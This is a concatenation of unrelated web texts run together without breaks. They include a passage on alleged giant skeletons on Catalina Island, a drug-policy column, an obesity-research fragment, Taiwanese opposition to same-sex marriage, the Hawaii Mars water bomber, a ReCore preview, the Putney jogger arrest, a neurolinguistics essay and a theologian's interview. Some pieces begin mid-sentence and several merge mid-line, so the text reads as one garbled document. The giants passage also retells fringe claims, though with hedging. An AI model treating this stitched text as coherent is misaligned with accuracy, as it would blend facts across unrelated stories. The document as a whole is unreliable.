Bizarrely, this would turn out to be not the only claim of such amazing finds among the Channel Islands. Apparently in 1913, a German named Dr. A.W Furstenan had found the skeleton of what appeared to be an 8-foot tall human on Catalina Island, which was found amongst other artifacts including a flat stone bearing odd, unidentifiable symbols. This particular skeleton was allegedly found in Avalon Bay in hard black sand, and it reportedly mostly disintegrated when it was brought to the surface and exposed to air, leaving only the skull, jawbone, and a foot intact. There was also a later report of a dig on nearby Santa Rosa Island that in 1959 supposedly unearthed several 7-foot-tall skeletons with skulls painted red which had double rows of teeth and 6 fingers and toes instead of 5. Interestingly, double rows of teeth were apparently a common feature among the human remains found in the Channel Islands. Another of the Channel Islands, San Nicolas Island, was also the scene of numerous findings of larger than average human remains, which were surmised to be a different race from the more normal-sized inhabitants.
Considering that many of the alleged giant skeletons of Catalina Island were claimed to have been buried in a ceremonial fashion in elaborate urns, Glidden surmised that the local natives worshiped them as some sort of gods. Of course, the findings themselves were viewed with open skepticism and even contempt by the mainstream archeology community. The whole thing was seen by scientists and academics as a last desperate attempt at a publicity stunt in order to drum up funding for the cash-strapped Glidden to do more digs, and as such no professional archeologists was even willing to travel out to Catalina Island to make an effort to verify the claims. Some locals have expressed doubts over the findings as well, such as one 89-year-old lifelong resident of Avalon and local historian by the name of Jeanne Hill, who said of Gidden and his museum:
It (the museum) was scary, very scary. Bones piled up all over the place. One skull had a light on in it. Years later, I came to doubt a lot of things about Ralph Glidden. Once, I found some receipts showing that he’d bought skeletons from a curio shop on Broadway in Los Angeles. There also used to be a fake archaeological dig site on the north end of the island that was assumed to have been Ralph’s work. Was a he a phony? Well, it has been said.
One of the main problems with Glidden’s fantastic discoveries is that there is very little hard evidence to show that any of what he said was true. There were those who came forward over the years to say that they had personally seen the skeletons, but these stories are circumstantial at best. Some of the bones were apparently sent to the University of California and The Smithsonian, but these institutions have repeatedly denied any such specimens in their collection when asked about it. Nevertheless, it has been speculated that they are indeed there, locked away in top secret vaults along with the field reports and photos to go with them. Regardless of whether any of this is true or not, none of the alleged skeletons has ever been officially released as evidence and it is unclear what happened to all of these supposed remains.
One would think that Glidden would have taken many photos of these findings, and apparently he did, but these have proven to be hard to come across. Not helping matters is the fact that Glidden was said to be rather sloppy about marking or properly filing his photographs, meaning that many were mislabeled or lost. The most significant discovery made in recent years was a dusty box found in the back of the Catalina Island Museum’s archive in 2012, which held numerous documents written by Gidden and photographs of ancient Native relics and remains, including some that purportedly show the giant skeletons he claimed to have found, but these too are not always properly labelled and have very little information included with them to give them context. While it is disputed as to the veracity of the giant photos, one paranormal researcher named L.A. Marzulli has claimed that detailed analysis of the one of the photographs shows that the skeleton pictured seems to be real and that it would have measured 8 and a half feet tall in life, yet others maintain that the photo is a hoax. Marzulli has also said that one of the giant skeletons clearly showed 6 fingers.
While there is understandably skepticism as to Glidden’s findings, there are those who have used the purported discoveries to bolster their own theories, in particular Hollow Earth conspiracists, who had their heyday in the 19th and early 20th century and more or less believe that there is a whole other world existing under us, which can be accessed through several portals located throughout the world. At the time of Glidden’s discoveries it was speculated by Hollow Earth theorists that one of these portals might be found on Catalina Island and that the giants had been tasked as guardians of the gateway. So prevalent was this idea that several expeditions were made by the so-called “Hollow-Earthers” in the 1920s, but it is unknown what they found, if anything.
Glidden himself would eventually sell his entire collection of artifact and remains for $5,000 in 1962, although it is unknown if this included any of the supposed giants, and he would die in 1967 at the age of 87. It is quite possible that when he died he took many of the secrets of his work and the potential answers to the mysteries surrounding it with him. We are left to wonder at how much truth any of it has. Was Glidden a huckster out to get some cash and fame? Or did he really make what would constitute one of the most important archeological discoveries of all time? Was Catalina Island once the home of giants revered and worshiped by the Natives and if so what became of them? It is likely we will never know for sure.What’s So Funny About the War on Drugs?
For all the progress that’s been made towards bringing the drug policy debate into the political mainstream, there remains a tragic tendency among many in the press to burst out laughing at the idea of fixing our disastrous drug laws. The latest embarrassing example comes courtesy of Al Kamen in The Washington Post:
Yes, we know that jobs and the economy are the marquee issues for this campaign. Even major topics such as war and education are getting short shrift among the wannabe nominees. But those reefer-mad kids over at Students for Sensible Drug Policy are trying to, uh, smoke the candidates out on their favorite subject.
… Article continues after ad Advertisement Pass the chips, dude. This is some entertaining TV.
Pass the chips? Wow. I can’t speak for Al Kamen, but there’s nothing about the War on Drugs that makes me hungry for junk food. Eric Sterling didn’t like Kamen’s tone very much either and responded with a deservedly harsh letter to the editor:
Regarding Al Kamen’s Jan. 18 column “ ‘Reefer Madness’ for the YouTube Generation”: This article is consistent with my hypothesis that the rules of professional conduct of journalists or some style manual require that articles about drug policy include a joke about chips, brownies or junk food. Can reporters and editors be so humor-deprived that they always have to joke about laws and policies that every year put hundreds of thousands of cannabis users in handcuffs, give them a criminal record and cost hundreds of millions of dollars on pointless police overtime. Ha, ha, ha, “pass the chips”; I’m dying with laughter.
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Kamen’s childishness is meant to be cute, I assume, but it plainly belittles a gutsy effort by a concerned group of young Americans to ask valid questions |
from FFM. While it is not known what exactly is being sensed (protein mass, muscle mass, other organ size, or metabolic activity), the discovery that several hundreds of factors are secreted by skeletal muscle 11 opens new avenues in the search for FFM‐sensitive feedback signals to the brain hunger‐appetite centers. In this context, it has recently been shown that diet‐induced obese mice that were slimmed down by caloric restriction before Roux‐en‐Y gastric bypass surgery subsequently ate more and showed weight regain that was exclusively accounted by FFM 12. This mouse model whereby Roux‐en‐Y gastric bypass surgery selectively abolished the defense of a higher fat mass, while remaining sensitive to the defense of lean mass, therefore provides an interesting model in the search for molecular signal pathways from the lean mass that drive appetite.The greatest opposition to same-sex unions in Taiwan is coming from a small but extremely vocal and organized Christian minority, says Taipei Times report
Given its relatively small numbers, Christian organizations are forming alliances with Taoist and Buddhist groups to influence government policy on same-sex marriage.
The main drivers behind last year’s anti-same-sex-marriage demonstration on Nov 30, which attracted tens of thousands of people and reportedly one of the largest mobilizations of Taiwan’s religious groups in recent years, comprised Christian, Taoist and Buddhist groups.
According to a special report by the Taiwan Times early this week, the organizers included the Alliance of Religious Groups for the Love of Families Taiwan, a network of Christian organizations, Buddhist sects, the Chinese Regional Bishops’ Conference and I-Kuan Tao – a religious movement that combines Confucianism, Taoism and Chinese Buddhism, and which also recognizes non-Chinese religious traditions such as Christianity and Islam.
Before last year’s protest, the most notable anti-gay mobilization occurred in 2011 when the Chen Ai Alliance, a self-proclaimed parents group successfully pressed the Ministry of Education (MOE) to suspend the release of three reference books that contain gender and sexual diversity teaching materials, as required by the Gender Equity Education Act for teachers in elementary and junior high schools, with help from several legislators.
In the 2-part [part 1 and 2] report by staff reporter Ho Yi, Chen Chih-hung, a Taiwan Lutheran Church bishop who also serves as the alliance’s spokesman, was quoted as saying that Christian churches are the driving force behind the crusade.
‘To a certain extent, Christian groups take the lead on this issue since Asian religions haven’t traditionally seen homosexuality as a big deal. Churches in the US and Europe have confronted the impact of gay marriage directly… Since only a small percentage of Taiwanese are Christians, we share what we know with other religions so that they understand the seriousness of the situation,’ Chen said.
The journalist noted that both Chen and Paul Chang, vice president of the Unification Church Taiwan and one the alliance’s spokesmen, in separate interviews spoke of a ‘dark, hidden agenda of the LGBT movement in Taiwan.’
The report reads: ‘The most active elements of the movement, they say, are not gay rights activists but libertines, with LGBT equality only part of their mission. The ultimate goal is to replace the institution of marriage and family with a culture of sexual promiscuity.’
Prior to the Nov 30 protest, the alliance produced a widely circulated short video titled ‘Sexual liberation is storming Taiwan’ is designed to ignite anxiety and fear by stigmatizing gay people and their supporters as proponents of promiscuity, group sex and bestiality.
The report noted that Christian anti-gay proponents in Taiwan are well aware that painting LBGT advocates as sexual deviants would generate a much greater response from worried parents and other concerned citizens than to preach that homosexuality as a sin as it would find little resonance in among Taiwan’s predominantly Buddhist and Taoist society.
‘And that is exactly the strategy adopted for last year’s anti-gay marriage law rally, which was disguised under the banner "Think of the Children,"’ the report noted.
Last month, Taiwan’s Presbyterian Church, which was previously regarded as gay-friendly, adopted and confirmed a pastoral letter issued by the church’s general assembly, which announced that the church would officially oppose same-sex marriage.
‘Every human rights activist in Taiwan knows that today the biggest opposition to same-sex marriage is Christianity. Before we at least had the Presbyterian Church, which was regarded as gay-friendly, and many of its pastors have been supportive and open-minded when it comes to lesbian and gay issues. That’s all changed,’ said Chen Hsiao-en, secretary of the Tong-Kwang Light House Presbyterian Church which is LGBT-affirmative and counts many gay men and lesbians among its clergy.
Marriage equality advocates say Taiwanese society is ready for same-sex marriages if consensus is needed.
A recent poll jointly conducted by the Taiwan Alliance to Promote Civil Partnership Rights (TAPCPR) and Academia Sinica last year showed that 53 percent of the public are for same-sex marriage and only 37 percent of Taiwanese are opposed to it. In 2001, polls revealed that more than 50 percent of the public were against legalizing same-sex marriage.Oshkosh, Wisconsin (CNN) — For the biggest flying water bomber in the world, this is the end.
That's what Wayne Coulson, owner of a seven-decade-old flying boat called Hawaii Mars, said Monday as we stood next to it in a tiny dinghy on Wisconsin's Lake Winnebago.
"Hawaii Mars has reached the end of its career," Coulson said. "It's now time to reinvent it into something different than what it is."
This week the red-and-white firefighting water bomber is starring in the world's biggest aviation celebration -- the annual Experimental Aircraft Association AirVenture air show at Oshkosh.
How much do people love this airplane?
Well, aviation enthusiasts are paying $125 a pop to board a little boat and venture a few hundred yards out in the lake where it's anchored. There, they get a tour of this aviation gem.
For me, the plane redefined my idea of super gigantic when I got a rare opportunity to climb through a hatch and stroll out onto the plane's wings.
Wingspan: 200 feet.
Hawaii Mars' size and talents have helped it become a kind of aviation superhero, supported by beautifully shot documentaries on cable TV's Smithsonian Channel and Speedvision.
The plane is one of six Martin JRM Mars troop transport/medevac seaplanes made for the U.S. Navy beginning in 1941.
In the 1950s they were decommissioned, sold to a Canadian group in British Columbia called Forest Industries Flying Tankers and refitted as firefighting water bombers.
In 2007, Coulson's company -- also based in B.C. -- bought the last two surviving planes: Philippine Mars and Hawaii Mars.
With a wingspan a little wider than a 747, the Martin Mars is the largest flying boat ever flown operationally. ("Operationally" means that the freaky-huge, eight-engine "Spruce Goose" that Howard Hughes flew for about a mile in 1947 doesn't count.)
The Hawaii Mars can scoop up 7,200 gallons of water in 32 seconds. It skims the water's surface at about 80 mph, extends two 16-inch diameter scoops and fills up its tanks to prep for a water bombing drop. Inside the plane, the water is automatically mixed with a polymer thermo gel that sticks to burning trees and increases the dump's effectiveness.
When Hawaii Mars dumps that load, it can snuff out a four-acre wildfire in one fell swoop.
Pulling the trigger and dumping the load
Since 2009, Dev Salkeld has pulled the trigger on the Hawaii Mars somewhere between 600 and 700 times.
He's one of the pilots who's tasked with hitting a four-acre flaming bull's-eye with 7,200 gallons of water.
You might think the airplane includes some kind of sophisticated technology that helps Salkeld hit the target.
But you'd be wrong.
No technology here. Actually, Salkeld and his colleagues pretty much eyeball it.
"It's definitely hand/eye coordination," said Salkeld, who grew up in Saskatchewan. "Some people are better at it than other people."
The secret, he said, is doing it the same way every time, by approaching the forest fire target at the same speed, rate of descent or altitude. The problem is, "that's not always possible," he said.
The trigger for dumping the plane's 7,200 gallons is two switches located on each pilot's control yokes.
As the pilot in the left seat, Salkeld is in charge of flipping the switches. But if something goes wrong, the pilot in the right seat can also flip a switch on his yoke to dump the load.
"And if that doesn't work, you've got a big lever between the pilots that you can pull up and do it mechanically," Salkeld said.
Is it gratifying having a job where you're saving lives and property from devastating wildfires?
Apparently a man of few words, Salkeld would only say, "It's rewarding in that way."
Very selective
Coulson's water bomber has had trouble getting work lately, he acknowledged.
Neither the governments of British Columbia nor Alberta offered the Coulson Group firefighting contracts during the recent wildfire season, prompting the decision to put both Hawaii Mars and Philippine Mars on the market.
The asking price is $3 million for each.
"We're going to be very selective on where these airplanes go. They're aviation royalty," said Coulson, whose company has been working with the National Naval Aviation Museum in Pensacola, Florida, on the trade of the Philippine Mars.
But there are some snags that need smoothing for that deal to come through.
And as the Martin Mars water bombers begin to exit the world stage, China seems prepared to fill the gap with what it's touting as the "world's largest seaplane," the amphibious AG600.
The first plane was unveiled in China over the weekend.
The retiring Martin Mars aircraft will be missed.
After working aboard Hawaii Mars for 18 years, flight engineer Glenn Pley knows his days on the flying boat will end soon.ReCore sold itself to millions of gamers with one simple statement: “from the makers of Metroid Prime”. That Gamecube classic is still regarded by many as one of the best games of all time. Anyone who had a hand in creating that masterpiece has a bit of a free pass when pitching new games to those fans. It helped that the game looked great by itself, with an engaging main character, and a mysterious looking storyline. Finally, after a year of waiting, I got to go hands-on with ReCore, and so far it’s living up to its Metroid Prime pedigree.
ReCore stars Joule, a settler who finds herself stranded and alone when something goes wrong on her mission to Far Eden. The robots that were meant to help her and her fellow adventurers settle on the planet have run amok, at least most of them have. A select few are still friendly, and are helping her along her way to figuring out what went wrong, and how to possibly fix it.
I keep referring to it as a Metroid Prime successor, and with good reason. A lot of the core concepts from that game are present here, with a lone woman exploring a vast alien landscape. However, ReCore definitely blazes its own path. In fact, it has a similarly impressive resume in that it is being shepherded by Keiji Inafune, the creator of Mega Man.
And really, when you know that, a lot of the pieces of this game come together. It is a third-person action game in many ways, but it is also a platformer, and even features lock-on combat, ala Metroid Prime. It also has the traversal and puzzle mechanics from MP, with color coded devices that require you to have the right robot helping you out.
These types of roadblocks will also create the backtracking that Metroid fans are so used to
You can switch between them as necessary, but you’ll still need to have found them, and possibly upgraded them to take advantage. For example, in the E3 2016 demo there were yellow railways along the walls and ceilings. If you had your spider-looking robot out they can create an anchor point for you to latch onto, then carry you along the path to your destination. It felt very much like the magnetic railways that Samus could ride on in ball form.
These types of roadblocks will also create the backtracking that Metroid fans are so used to, and crave so much. You’ll run up against areas that you can’t access, but later on you’ll gain entry thanks to your robot companions.
Combat feels very Metroid-esque as well, with color-coded enemies that you have to match your laser to. You can still kill a yellow enemy with red lasers, but it will take longer. There is even a charge shot that deals extra damage. Enemies take patience and thought to take out, as they can easily swarm you and become overwhelming. I even died once in the demo, which is rare at E3.
Platforming was still a little rough, but the team has a lot of time to work out any kinks in that system. It wasn’t terrible at all, but pressing the right buttons, and making sure you land on your target was troublesome at times, with both a double jump and a boost mechanic creating some definite challenges.
Even with this small fault, ReCore was an E3 favorite of mine. It’s probably not going to be as grandiose as Metroid Prime or Mega Man, but it is a fantastic amalgamation of those two venerable series. If you’re a fan of either, ReCore should be on your watch list for the coming months.
ReCore hits Xbox One and Windows 10 PC on September 13th.
ReCore E3 Gameplay TrailerThe Metropolitan Police arrested a man on Thursday, August 10, in connection with an incident in London on May 5 in which a jogger knocked a woman into the path of an oncoming bus. The man was named in UK media reports as Eric Bellquist. His lawyers released a statement which said they had “irrefutable proof that he was in the United States at the time of the incident.” CCTV footage released by the Metropolitan Police shows the incident, in which a man knocks the woman into the path of a bus, which has to swerve to avoid hitting her. Police said that the 33-year-old victim sustained “minor injuries”. According to police, the jogger returned to Putney Bridge 15 minutes later and carried on jogging, despite the victim attempting to speak to him. The jogger is described as a “white man, aged early to mid 30s, with brown eyes and short brown hair”. Sgt Mat Knowles, the investigating officer from Putney Safer Neighbourhood Team, said: “The victim was put in extreme danger when she was knocked into the road. It was only due to the superb quick reactions of the bus driver that she was not hit by the vehicle.” Credit: Metropolitan Police via Storyful
US Banker Says He Has 'Irrefutable Proof' He's Not Jogger Who Knocked Woman Into Path of Bus. Credit - Metropolitan Police via Storyful 0:39
A MILLIONAIRE banker who was arrested over the “Putney Bridge Pusher” video has been forced to hire bodyguards after receiving online death threats, it’s reported.
American Eric Bellquist was yesterday cleared of any involvement after police released shocking footage of a jogger pushing a woman into the path of a bus in West London, The Sun reports.
The 41-year-old has now gone into hiding and is under the protection of ex-SAS veterans despite proving that he was in America at the time of the incident on May 5, according to the Mail On Sunday.
Cops yesterday confirmed Mr Bellquist had been eliminated from their inquiries after discovering he was 5,000 miles away on holiday in California.
The Metropolitan Police have since confirmed officers investigating the case did not check whether the banker was in the country before he was arrested, the paper reports.
Police said officers had “reasonable grounds” to arrest Mr Bellquist, from Chelsea, West London, in connection with the offence.
But Mr Bellquist’s friends insisted the force should apologise.
One told The Mail: “Eric was as horrified as everybody else about this attack and had absolutely nothing to do with it.
“He has been through hell. He was woken up by the police, dragged out of his house and thrown into a cell for hours.
“He is very worried about his reputation and deserves an immediate apology.”
He was released under investigation before officers said he was eliminated from their inquiries.
His lawyer issued a denial of the allegations against him, claiming he was out of the country at the time.
This story was originally published in The Sun and is reproduced here with their permissionThe focus of the current topic is the analysis and interpretation of second language (L2) and multilingual data. Looking at data from speakers who have learned their additional languages after the mother tongue has become well established is of special interest. It advances our knowledge about how different language systems share space in the same mind, a question to be asked of any kind of multilingual at any age—and secondly it can tell us more about potential differences between early and later learned languages (Kim et al., 1997; Kovelman et al., 2008). More recent research points to brain areas activated in late learners of L2s becoming more and more like those of L1 acquirers as their proficiency advances (Green, 2003). At earlier stages of acquisition, adults may simply adopt compensatory strategies, for example recruiting new cognitive resources that have become available with increasing maturity to complete communicative tasks that are demanding either because, unlike very young children, they personally want or are compelled by interlocutors to communicate complex ideas, or because the requirements of a given experiment simply make the tasks demanding. This will therefore implicate regions of the brain that are much less involved in young language users and these may stay involved even where higher levels of L2 ability render them much less important or even unnecessary. In any case, to get the full picture we need ways of tracking this strategic activity, one aspect of which is the deployment of explicit processes, both those involving conscious awareness and those that may be raised to awareness but can also operate subconsciously but there will surely be processes that only operate subconsciously as well (Sharwood Smith and Truscott, 2011). These will affect not only the spontaneous uses of L1 and L2 but also performance on experimental tasks. Tracking brain activity with sophisticated apparatus is not enough of course: the data needs to be analyzed and for this we need very sophisticated theoretical frameworks to guide interpretation.
While research techniques such as brain imaging are gradually acquiring greater precision, helping to reveal much more about brain activity associated with linguistic processing, there still remain many problems interpreting results. This may not be an immediate problem in a given experiment because the research question may be suitably precise and focussed enough to guarantee an answer of sorts in the hope that answers to limited questions may gradually accumulate and provide the basis for wider explanations. In this way, for example, syntactic and semantic processing can be teased apart on the basis of participants' differing responses to examples of, respectively, syntactic and semantic anomaly which then allows researchers to identify separate neural signatures and provide support for particular accounts of the status of language vis-a-vis other types of cognition. Issues of interpretation become more evident when trying to put results into a wider explanatory context. One problem concerns the choice of which theory and which concepts and categories to import from a neighboring research domain. Another one, related to that, is locating conceptual models and frameworks in related domains (neurolinguistic, psycholinguistic, theoretical linguistic) that can be combined in such a way as to promise the best possible explanation.
Assuming the focus is on explaining language, and leaving aside sociolinguistic issues, if we get down to the basics, what do we have? 1.3 kilos (three pounds) of soft tissue and our current understanding of its functional architecture. Add to that theories about psychological function and, in many cases at least, entirely separate, well developed theories about linguistic structure. Each of these theories has, for very good reasons, its own conceptual framework and terminology, and its own favorite methods of investigation. For satisfactory explanations of how the brain stores and processes languages, we need somehow to coordinate findings in all these different disciplines. At the same time, it is not a straightforward job to bootstrap, for example, a Minimalist approach to explaining language structure to a model of human memory and make it into a real-time processing theory. This is true notwithstanding the obvious need, in the elaboration of theories of processing and development, for fine-grained accounts of linguistic structure. Standard generative linguistic approaches to language employ terms and concepts to explain abstract linguistic structure that are outside time and space. Without going into the details, these are notions like “move,” a structure-building operation changing the position of some item in a structure, “merge,” a combining operation, and “feature-checking,” the process whereby two associated items in a structure are assessed to see if they can be “licensed,” i.e., co-exist in their current position (in a particular manner determined by the theory). The use of such spatiotemporal metaphors, without any responsibility for explaining processing facts, is a highly effective device for describing structural relationships in syntax. At the same time these metaphors should not be translated straightforwardly into real-time, on-line processing terms. If they were thus interpreted, that would constitute a serious category error—confusing abstract theoretical linguistic concepts for ones that are custom designed to describe and explain events in real time. Either that, or it would constitute a new and different type of claim entirely, i.e., that the abstract concepts can do double duty and describe real-time events as well. Unless there is such a claim, working with linguistic theory means operating at a different level of description from psycholinguistic processing theory. Yet another level, distinct from both of those ones, seeks to provide neurolinguistic descriptions and explanations (Sabourin and Haverkort, 2003). Again, there is no guaranteed simple and straightforward translation of psychological explanations into neurofunctional ones either. In a psychological description, a working memory (WM) may be described as, say, a single module where its neural substrate is seen as being distributed over, say, three different systems, each located in different areas of the brain. If the model of memory is a modular one, the number of subsystems can still be different depending on whether the description is psychological or neurological.
Although functional models in psycholinguistics do not have to match their linguistic and neurolinguistic counterparts in any literal way, the need to interpret one into terms of the other does have to be acknowledged so that the search for, or development of compatible models across disciplines can proceed. While research continues sorting out the “easier” problems of data collection and analysis within each of these three disciplines, it is still useful to cast a critical eye on many of the basic assumptions being made and raise some questions about them. It is fair to point out that with the increasing sophistication of techniques that record brain activity, the problem of resolving the bigger questions will gradually become more tractable but only provided that suitable theoretical, compatible, well-founded models in companion domains can be identified so that the bigger questions can be formulated.
To take memory as a case in point, what is the relationship between on-line language processing, in this case by bilinguals (multilinguals) and the formation of new stable memories? How and where are the relevant memories formed? Should different types of memory be assumed as is often the case nowadays. If so, how many? Let us begin, say, with the initial registering of the acoustic stream: if we can accept that auditory-acoustic memories are formed in the primary auditory cortex, where and how is the subset of those memories that are identified as language-relevant processed further, thereby forming (some claim) separate types of memory? Is it legitimate to talk, for example, of a single separate “linguistic memory” system or are there in fact two separate types of memory involved, phonological and syntactic (Jackendoff, 2002; Truscott and Sharwood Smith, 2004; Sharwood Smith and Truscott, 2014)? Moving on to WM, is this part of a unified system serving all types of cognitive and perceptual activity or is WM also modular and domain-specific? If so, which modules and which domains are we talking about? And, during repeated on-line processing, when items that have appeared in (one or other instances of) WM have eventually become stable and established items in longer term memory (LTM), should we treat this acquisition process as resulting from the successful transition of the relevant items from one memory system (WM) into another one (LTM) or, alternatively, should we treat WM and LTM as part of a single memory system thereby characterizing acquisition as establishment of an enduring trace in LTM that then becomes increasingly accessible over time (Cowan, 2005; Baddeley, 2012)? It might not matter which option you choose for some purposes but if the models are going to be useful they may each have different empirical consequences when applied to the more complex questions of linguistic acquisition and performance. The plain fact is that models being used today still do not yet specify exactly how language systems are stored and used within one mind/brain. A much more detailed architecture is required to required to meet this requirement and explain how discourse/pragmatic, semantic, morphosyntactic and semantic features are stored and interact across a single or across multiple language systems (see, for example, proposals in Sharwood Smith and Truscott, 2014).
Connected with the decisions about which model of memory and storage to use is the question whether or not there is anything like a “language acquisition device” and if there is one, how does it work? What is its neural substrate? To take representational models of cognition, for example, some assign a special status to human language while others treat it as part of general cognition. The emergentist architecture proposed by O'Grady is an example of the latter (O'Grady, 2000). O'Grady explains language acquisition as cognitive development that is driven by the selection of ever more efficient processing operations to handle the input. One such operation seeks to minimize the burden on WM. Sharwood Smith and Truscott's account is similar at least in this one respect, denying the need for a language acquisition device, whereas Carroll's Autonomous Induction Model is different and posits a modular, failure-driven acquisition mechanism that is unique to language (Carroll, 2001, 2007; see discussion in Truscott and Sharwood Smith, 2004; Sharwood Smith et al., 2012; Sharwood Smith and Truscott, 2014). In any study of acquisition, it is fair to ask what background theoretical commitments the researchers are making and to what extent it is a matter of principled choice or just one of convenience, understandable as that might be.
My final example is the notion “representation.” If we set aside non-symbolic accounts, somewhere along the line we have to have a clear idea of how to treat representations at the different levels of description (and explanation) that we have been dealing with, ranging from simple ones like “word,” “syllable,” and “lexical item” to ones like “noun,” phonological and syntactic “features” and the whole gamut of theoretical categories that we wish to deploy in some form or other for experimental investigation and data analysis. Representations may be psychological constructs but they should have neural correlates. For example, Damasio's notion of “dispositional representation” meshes easily with the way linguistic or psychological representations are conceived. A dispositional representation is “a potential pattern of neuron activity in small ensembles of neurons and may be distributed over a number of different locations in the cortex, the precise locations depending on the type of representation and whether it is innate or acquired as a result of experience” (Damasio, 1994, pp. 102–105). This provides another illustration of how the neural equivalent of a psychological representation located in one particular place in a theoretical model can be a structure that is distributed across the neural system in different places. It also shows, incidentally, that you do not need to choose between symbolic representational accounts on the one hand and connectionist accounts based on (biological) neural networks on the other. Networks, representations and modular architectures can live peacefully together.
To some extent this short discussion is more a look into the future than a critique of past and present research. It is somewhat of a cliché to say research in this area needs to be conducted by teams from different research domains. To some extent this is already happening. My basic point is that the development of useful conceptual frameworks that can support such multidisciplinary research is still in its infancy. I have my own suggestions about what such a framework might look like but that is another story.
Conflict of Interest Statement
The author declares that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest.
Acknowledgment
My thanks to an anonymous reviewer and John Truscott for their comments on previous versions of this manuscript.
References
Carroll, S. (2001). Input and Evidence: The Raw Material of Second Language Acquisition. Amsterdam: Benjamins.
Carroll, S. (2007). “Autonomous induction theory,” in Theories in Second Language Acquisition: An Introduction, eds B. VanPatten and J. Williams (New York, NY: Routledge), 155–174.
Cowan, N. (2005). Working Memory Capacity. New York, NY: Psychology Press. doi: 10.4324/9780203342398 CrossRef Full Text
Damasio, A. (1994). Descartes' Error: Emotion, Reason and the Human Brain. London: Papermac.
Green, D. (2003). “Neural basis of lexicon and grammar in L2 acquisition: the convergence hypothesis,” in The Lexicon–Syntax Interface in Second Language Acquisition, eds R. van Hout, A. Hulk, F. Kuiken, and R. Towell (Amsterdam: John Benjamins), 197–218.
Jackendoff, R. (2002). Foundations of Language: Brain, Meaning, Grammar, Evolution. Oxford: Oxford University Press.
Kim, K., Relkin, N., Lee, K.-M., and Hirsch, J. (1997). Distinct cortical areas associated with native and second languages. Nature 3, 171–174. Pubmed Abstract | Pubmed Full Text
Kovelman, I., Baker, S., and Petitto, L.-A. (2008). Bilingual and monolingual brains compared: a functional magnetic resonance imaging investigation of syntactic processing and a possible “neural signature” of bilingualism. J. Cogn. Neurosci. 20, 153–169. doi: 10.1162/jocn.2008.20011 Pubmed Abstract | Pubmed Full Text | CrossRef Full Text
O'Grady, W. (2000). Syntactic Carpentry: An Emergentist Approach to Syntax. Mahwah, NJ: Erlbaum.
Sabourin, L., and Haverkort, D. (2003). “Neural substrates and processing of a second language,” in The Lexicon–Syntax Interface in Second Language Acquisition, eds R. van Hout, A. Hulk, F. Kuiken, and R. Towell (Amsterdam: John Benjamins), 151–174.
Sharwood Smith, M., and Truscott, J. (2011). “Consciousness and language: a processing perspective,” in New Horizons in the Neuroscience of Consciousness eds E. Perry, E. D. Collerton, F. LeBeau, and H. Ashton (Amsterdam: John Benjamins), 129–138.
Sharwood Smith, M., and Truscott, J. (2014). The Multilingual Mind: A Modular Processing Perspective. Cambridge: Cambridge University Press.
Sharwood Smith, M., Truscott, J., and Hawkins, R. (2012). “Explaining change in transition grammars,” in A Handbook of Second Language Acquisition eds J. Herschensohn and M. Young-Scholten (Cambridge: Cambridge University Press), 560–580.ROME – A gathering in Rome this week aims to bring the voices of Africa to the world, and even before it begins the main organizer is doing just that, saying Monday that the debate over Communion for divorced and civilly remarried Catholics unleashed by Amoris Laetitia is already settled in Africa – and that the answer is “no.”
“If you go to the ordinary parishes in most of Africa, you will find that people who are in the situation you’re talking about would not present themselves for Communion because they already accept that these are the rules,” said Father Paulinus Odozor, a Nigerian theologian who teaches at the University of Notre Dame.
“We settled that long ago,” he said, bluntly saying of divorced and civilly remarried Catholics potentially receiving Communion, “They can’t.”
Odozor spoke on “The Crux of the Matter,” the weekly radio program of Crux airing on the Catholic Channel, Sirius XM 129, Mondays at 1:00 p.m. Eastern.
He’s in Rome as the principal organizer of a March 22-25 conference titled “African Christian Theology: Memories and Mission for the 21st Century,” hosted by Notre Dame’s Global Gateway center.
Odozor said he’s been frustrated, even nauseated, at the way Catholic debate over Amoris in the West has focused obsessively on the Communion question.
“The problem with the West is that it narrows things down, stripping down a text like that to one or two issues,” he said. “Reading Amoris Laetitia again, I was struck by its incredible richness. We in Africa sometimes wonder at the way Catholicism in the West takes just one issue and runs with it, without looking at the whole context.
“It’s terrible,” he said, “and it can be nauseating.”
On other matters, Odozor said the greatest strength of the Church in Africa is its people.
“People are the greatest assets, a lively people from Johannesburg to anywhere else in Africa,” he said. “It’s the people, their faith. Whenever I feel low in my faith, all I need to do is to find money to buy a ticket to any country in Africa!”
In terms of challenges, he cited an urgent need for a “second wave” of evangelization.
“The United States has a couple hundred Catholic colleges and universities, and Africa needs institutions like this,” he said. “The first evangelization has happened, but it needs a second wave, which is both an institutional and an intellectual task … We need to give African Christianity and African Catholicism a thorough grounding in thinking, a thorough theological basis.”
In a burst of national pride, Odozor also predicted that should Pope Francis visit his home nation of Nigeria, they’d beat the crowd size record for a papal event of six million established in the Philippines in January 2015.
The following are excerpts from Odozor’s interview on “The Crux of the Matter.”
Crux: You’re bringing together churchmen, theologians, activists, and lay people and students. Is the idea to bring together representatives of the whole Catholic church in Africa?
Odozor: Yes, that’s what we tried to do. To have a good conversation you try to reach out to all sorts of people within the community. We tried to reach out to people who represent various voices and various segments of the community, to bring them together to tell us about their church, to discuss their church, to worry about the future of the church, to celebrate the achievements of their church, and to tell us what the church could be doing better to make the Gospel of Christ better known in Africa and to make Africa a better place.
Who’s the target audience? Is it the Christian community in Africa itself, or is it that you want the voice of Africa to be heard by the rest of the church?
Both. First, these various segments of the Christian community in Africa and talking among themselves is one component of the conference. But it’s also true that we’re coming to Rome deliberately, because this is where the Christian world meets. People who might not have the chance of traveling all over Africa can see and hear. We’re trying to make sure that Africa’s realities are out there.
You know, a thing like this has its risks. You have to be prepared to wash your dirty linen in public, where everyone can see. That’s a brave choice, but what else can we do? If Africa wants to be taken seriously as a player, Africa has to be honest about itself. We don’t just want people to hear the wonderful things we’re doing. We also want people to hear the terrible things we’re doing, and the things we’re not doing that well.
We also want other people to look at what Africa is doing. One set of people you didn’t mention [at the conference] is a group of people who aren’t Africans, but who have an interest in Africa … the African church is not closed in on itself, but it’s a church that wants to celebrate its Catholicity, that wants to be church in its own way but also wants to be ‘Church’, in communion with the other churches of the world.
You mentioned you need to be realistic about Africa. What would you say is the greatest asset of the Church in Africa, and what needs to be worked on the most?
People are the greatest assets, a lively people from Johannesburg to anywhere else in Africa. It’s the people, their faith. Whenever I feel low in my faith, all I need to do is to find money to buy a ticket to any country in Africa! I come back rejuvenated, even liturgically, everything.
